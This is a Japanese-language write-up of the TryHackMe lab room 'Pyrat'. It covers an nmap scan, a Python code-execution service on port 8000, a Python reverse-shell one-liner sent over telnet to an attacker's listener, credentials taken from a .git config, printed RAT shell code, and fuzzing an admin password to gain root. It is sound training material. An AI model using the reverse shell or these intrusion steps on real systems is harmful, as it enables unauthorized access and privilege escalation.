TryHackMe Writeup：Pyrat

# はじめに
本記事はTryHackMeのWriteupです。

Roomは[Pyrat](https://tryhackme.com/r/room/pyrat)、Difficulty（難易度）はEasyです。

このRoomでは、Pythonやファジングに関するスキルについて学ぶことができます。

## ポートスキャン
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-06 17:44 JST
Nmap scan report for 10.10.23.107
Host is up (0.25s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/6%Time=67024E17%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.42 seconds
Scan completed
```

ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえて、8000番ポートにアクセスすると、以下の様な画面が表示されます。

![スクリーンショット 2024-10-06 17.49.33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/caa83ee7-5df5-4409-c5b7-e1628771ddde.png)

標準ライブラリに含まれるhttp.serverモジュールを使用していると思われます。

レスポンスのメッセージやタスクの説明を参考にしながらどのようにペイロードを送信するかについて考えます。

## 脆弱性分析
telnetコマンドを用いて接続を試みます。

`$ telnet <IP address> 8000`

```
Trying 10.10.23.107...
Connected to 10.10.23.107.
Escape character is '^]'.
GET / HTTP/1.1
name 'GET' is not defined
```

試しにGETメソッドを入力すると、レスポンス結果からPythonの例外メッセージであるNameErrorのように見えます。

`print`関数を実行すると、文字列が出力できました。

```
print('Hello')
Hello
```

Pythonの実行に関する脆弱性を特定しました。

## システムハッキング
Pythonの実行に関する脆弱性を利用して、足場を作ります。

### アクセスの獲得
リスナーを用意した状態で、リバーシェルを取得します。

```
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP address>", 4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
```

telnetで上記コマンドを入力後、リバーシェルが取得できます。

```
import listening on [any] 4444 ...
connect to [<Your IP address>] from (UNKNOWN) [10.10.23.107] 56248
```

リバースシェル取得後はシェルが不安定な状態になっていますが、このまま調査します。

### ユーザーフラグ
水平展開を行うにあたり`/home`ディレクトリ配下のユーザーを確認します。

```
drwxr-x--- 5 think think 4096 Jun 21  2023 think
```

上記結果を踏まえて、thinkユーザーの認証情報を探索します。`/opt`配下を確認すると、怪しそうなディレクトリを発見しました。

```
drwxrwxr-x 3 think think 4096 Jun 21  2023 dev
```

`ls -al`コマンドを実行すると、`.git`ディレクトリが確認できます。

```
total 12
drwxrwxr-x 3 think think 4096 Jun 21  2023 .
drwxr-xr-x 3 root  root  4096 Jun 21  2023 ..
drwxrwxr-x 8 think think 4096 Jun 21  2023 .git
```

`config`ファイルからthinkユーザーの認証情報を発見しました。

```config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[user]
    	name = Jose Mario
    	email = josemlwdf@github.com

[credential]
    	helper = cache --timeout=3600

[credential "https://github.com"]
    	username = think
    	password = *****************
```

上記認証情報を使用して、SSHでログイン後ユーザーフラグが取得できます。

```
total 40
drwxr-x--- 5 think think 4096 Jun 21  2023 ./
drwxr-xr-x 3 root  root  4096 Jun  2  2023 ../
lrwxrwxrwx 1 root  root     9 Jun 15  2023 .bash_history -> /dev/null
-rwxr-x--- 1 think think  220 Jun  2  2023 .bash_logout*
-rwxr-x--- 1 think think 3771 Jun  2  2023 .bashrc*
drwxr-x--- 2 think think 4096 Jun  2  2023 .cache/
-rwxr-x--- 1 think think   25 Jun 21  2023 .gitconfig*
drwx------ 3 think think 4096 Jun 21  2023 .gnupg/
-rwxr-x--- 1 think think  807 Jun  2  2023 .profile*
drwx------ 3 think think 4096 Jun 21  2023 snap/
-rw-r--r-- 1 root  think   33 Jun 15  2023 user.txt
lrwxrwxrwx 1 root  root     9 Jun 21  2023 .viminfo -> /dev/null
```

### ルートフラグ
ルートフラグを取得するためには、権限昇格が必要です。

調査を行なっていると、`/var/spool/mail/think`ファイルのメッセージを発見しました。

```
From root@pyrat  Thu Jun 15 09:08:55 2023
Return-Path: <root@pyrat>
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
        id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To: <think@pyrat>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen <root@pyrat>

Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
```

コードに秘密があると思われるため、引き続き`/opt/dev`ディレクトリを調査します。

`git log -p`を実行したところ、以下のコミット履歴が確認できました。

```
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario <josemlwdf@github.com>
Date:   Wed Jun 21 09:32:14 2023 +0000

    Added shell endpoint

diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+    if data == 'some_endpoint':
+        get_this_enpoint(client_socket)
+    else:
+        # Check socket is admin and downgrade if is not aprooved
+        uid = os.getuid()
+        if (uid == 0):
+            change_uid()
+
+        if data == 'shell':
+            shell(client_socket)
+        else:
+            exec_python(client_socket, data)
+
+def shell(client_socket):
+    try:
+        import pty
+        os.dup2(client_socket.fileno(), 0)
+        os.dup2(client_socket.fileno(), 1)
+        os.dup2(client_socket.fileno(), 2)
+        pty.spawn("/bin/sh")
+    except Exception as e:
+        send_data(client_socket, e
+
+...............................................
```

作業ディレクトリの状態を確認すると、`pyrat.py.old`ファイルは削除されていることが分かります。

`$ git status`

```
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
	deleted:    pyrat.py.old

no changes added to commit (use "git add" and/or "git commit -a")
```

`git restore pyrat.py.old`コマンドを実行することで、ワークツリー内のファイルが復元可能です。コマンド実行後、ファイルが復元されたことを確認します。

```
-rw-rw-r-- 1 think think  753 Oct  6 09:25 pyrat.py.old
```

- pyrat.py.old

```
...............................................

def switch_case(client_socket, data):
    if data == 'some_endpoint':
        get_this_enpoint(client_socket)
    else:
        # Check socket is admin and downgrade if is not aprooved
        uid = os.getuid()
        if (uid == 0):
            change_uid()

        if data == 'shell':
            shell(client_socket)
        else:
            exec_python(client_socket, data)

def shell(client_socket):
    try:
        import pty
        os.dup2(client_socket.fileno(), 0)
        os.dup2(client_socket.fileno(), 1)
        os.dup2(client_socket.fileno(), 2)
        pty.spawn("/bin/sh")
    except Exception as e:
        send_data(client_socket, e

...............................................

```

タスクの説明を参考にエンドポイントがヒントと思われるため、telnetでshellを入力すると、シェルの応答がありました。

```
Trying 10.10.23.107...
Connected to 10.10.23.107.
Escape character is '^]'.
shell
$ id
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

他の入力を試したところ、adminの場合、パスワードが聞かれます。

```
admin
Password:
```

adminのエンドポイントをファジングして正しいパスワードを入力します。

```
admin
Password:
******
Welcome Admin!!! Type "shell" to begin
```

正しいパスワードを入力して認証後、shellを入力して`id`コマンドを実行すると、ルートユーザーに昇格したことが確認できます。

```
shell
# id
id

uid=0(root) gid=0(root) groups=0(root)
```

# おわりに
telnetの入力に関して、ファジングの自動化を行う場合はPythonのsocketモジュールが利用できます。